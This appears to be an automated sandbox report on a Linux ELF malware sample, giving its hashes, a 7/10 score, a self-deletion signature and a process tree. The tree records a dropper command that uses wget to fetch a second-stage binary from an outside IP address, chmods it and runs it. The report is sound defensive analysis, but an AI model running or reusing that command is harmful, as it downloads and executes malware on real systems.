Analysis

  • max time kernel
    16s
  • max time network
    132s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20231215-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20231215-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    13-02-2024 06:02

General

  • Target

    f601e66605cdfa656b7187da0765153a21a606a2430729fc5754ed71523bf8ec.elf

  • Size

    11KB

  • MD5

    a7c90c15bc55d349c10a846f572926bf

  • SHA1

    21029abe57f7d20d1cfe7f8b01618f3c05bf1a0f

  • SHA256

    f601e66605cdfa656b7187da0765153a21a606a2430729fc5754ed71523bf8ec

  • SHA512

    cba6bec2c3a43fcd02696545971a3e5bb7267b3f79e00f41b09a63bff3fa61227b2c1435cc6b9958a3e601533fecd2c71d0b863952af0f2bbeb77eea1c98705a

  • SSDEEP

    192:Mh4D6pcxYQzB/J36FNcj+jwdzpn0qMlZ4SRV54n+wSSzUn:MhKzY8f3cNsIv1R9YO

Score
7/10

Malware Config

Signatures

  • Deletes itself 1 IoCs

Processes

  • /tmp/f601e66605cdfa656b7187da0765153a21a606a2430729fc5754ed71523bf8ec.elf
    /tmp/f601e66605cdfa656b7187da0765153a21a606a2430729fc5754ed71523bf8ec.elf
    1⤵
    • Deletes itself
    PID:1557
    • /bin/sh
      sh -c "wget http://198.98.51.91/abdagoodamagalu/nk1; chmod 777 *; ./nk1 wget.echo.telnet.x86"
      2⤵
        PID:1561
        • /usr/bin/wget
          wget http://198.98.51.91/abdagoodamagalu/nk1
          3⤵
            PID:1562
          • /bin/chmod
            chmod 777 config-err-BtJbhL netplan_upz4p7ln snap-private-tmp ssh-UICRjWpLYv7w systemd-private-07b6cae6abe146cda9cc22982195be5b-ModemManager.service-xKZS6q systemd-private-07b6cae6abe146cda9cc22982195be5b-bolt.service-pVrVsu systemd-private-07b6cae6abe146cda9cc22982195be5b-colord.service-vTXu7s systemd-private-07b6cae6abe146cda9cc22982195be5b-fwupd.service-HJZcWL systemd-private-07b6cae6abe146cda9cc22982195be5b-systemd-resolved.service-bSjptR systemd-private-07b6cae6abe146cda9cc22982195be5b-systemd-timedated.service-9Atn4R
            3⤵
              PID:1563
            • /tmp/nk1
              ./nk1 wget.echo.telnet.x86
              3⤵
                PID:1564

          Network

          MITRE ATT&CK Matrix

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/1557-1-0x0000000008048000-0x000000000804d608-memory.dmp